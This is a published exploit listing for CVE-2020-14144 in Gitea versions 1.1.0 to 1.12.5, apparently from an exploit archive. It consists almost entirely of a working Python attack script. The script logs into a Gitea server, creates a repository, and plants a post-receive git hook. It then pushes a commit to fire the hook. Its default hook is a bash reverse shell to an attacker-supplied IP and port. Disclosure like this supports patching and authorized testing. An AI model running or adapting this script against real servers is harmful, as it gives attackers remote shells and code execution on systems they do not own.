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Gitea 1.12.5 Remote Code Execution

Gitea 1.12.5 Remote Code Execution
Posted Feb 18, 2021
Authored by Podalirius

Gitea version 1.12.5 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 043b07c09c159696122bfc666130307d

Gitea 1.12.5 Remote Code Execution

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# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
import os
import pexpect
import random
import re
import sys
import time

import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass

class GiTea(object):
def __init__(self, host, verbose=False):
super(GiTea, self).__init__()
self.verbose = verbose
self.host = host
self.username = None
self.password = None
self.uid = None
self.session = None

def _get_csrf(self, url):
pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
csrf = []
while len(csrf) == 0:
r = self.session.get(url)
csrf = re.findall(pattern, r.text)
time.sleep(1)
csrf = csrf[0]
return csrf

def _get_uid(self, url):
pattern = 'name="_uid" content="([0-9]+)"'
uid = re.findall(pattern, self.session.get(url).text)
while len(uid) == 0:
time.sleep(1)
uid = re.findall(pattern, self.session.get(url).text)
uid = uid[0]
return int(uid)

def login(self, username, password):
if self.verbose == True:
print(" [>] login('%s', ...)" % username)
self.session = requests.Session()
r = self.session.get('%s/user/login' % self.host)
self.username = username
self.password = password

# Logging in
csrf = self._get_csrf(self.host)
r = self.session.post(
'%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
data = {'_csrf':csrf, 'user_name':username, 'password':password},
allow_redirects=True
)
if b'Username or password is incorrect.' in r.content:
return False
else:
# Getting User id
self.uid = self._get_uid(self.host)
return True

def repo_create(self, repository_name):
if self.verbose == True:
print(" [>] Creating repository : %s" % repository_name)
csrf = self._get_csrf(self.host)
# Create repo
r = self.session.post(
'%s/repo/create' % self.host,
data = {
'_csrf' : csrf,
'uid' : self.uid,
'repo_name' : repository_name,
'description' : "Lorem Ipsum",
'gitignores' : '',
'license' : '',
'readme' : 'Default',
'auto_init' : 'off'
}
)
return None

def repo_delete(self, repository_name):
if self.verbose == True:
print(" [>] Deleting repository : %s" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
# Delete repository
r = self.session.post(
'%s/%s/%s/settings' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'action' : "delete",
'repo_name' : repository_name
}
)
return

def repo_set_githook_pre_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_pre_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
# Set pre receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return

def repo_set_githook_update(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_update('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
# Set update git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return

def repo_set_githook_post_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_post_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
# Set post receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return

def logout(self):
if self.verbose == True:
print(" [>] logout()")
# Logging out
r = self.session.get('%s/user/logout' % self.host)
return None


def trigger_exploit(host, username, password, repository_name, verbose=False):
# Create a temporary directory
tmpdir = os.popen('mktemp -d').read().strip()
os.chdir(tmpdir)
# We create some files in the repository
os.system('touch README.md')
rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
os.system('echo "%s" >> README.md' % rndstring)
os.system('git init')
os.system('git add README.md')
os.system('git commit -m "Initial commit"')
# Connect to remote source repository
os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
# Push the files (it will trigger post-receive git hook)
conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
conn.expect("Username for .*: ")
conn.sendline(username)
conn.expect("Password for .*: ")
conn.sendline(password)
conn.expect("Total.*")
print(conn.before.decode('utf-8').strip())
return None

def header():
print(""" _____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
""")

if __name__ == '__main__':
header()
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')

parser.add_argument('-t','--target', required=True, type=str, help='Target host (http://..., https://... or domain name)')
parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')

parser.add_argument('-I','--rev-ip', required=False, type=str, default=None, help='Reverse shell listener IP')
parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')

parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')

args = parser.parse_args()

if (args.rev_ip == None or args.rev_port == None):
if args.payload_file == None:
print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
sys.exit(-1)

# Read specific payload file
if args.payload_file != None:
f = open(args.payload_file, 'r')
hook_payload = ''.join(f.readlines())
f.close()
else:
hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)

if args.target.startswith('http://'):
pass
elif args.target.startswith('https://'):
pass
else:
args.target = 'https://' + args.target

print('[+] Starting exploit ...')
g = GiTea(args.target, verbose=args.verbose)
if g.login(args.username, args.password):
reponame = 'vuln'
g.repo_delete(reponame)
g.repo_create(reponame)
g.repo_set_githook_post_receive(reponame, hook_payload)
g.logout()
trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
g.repo_delete(reponame)
else:
print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
print('[+] Exploit completed !')

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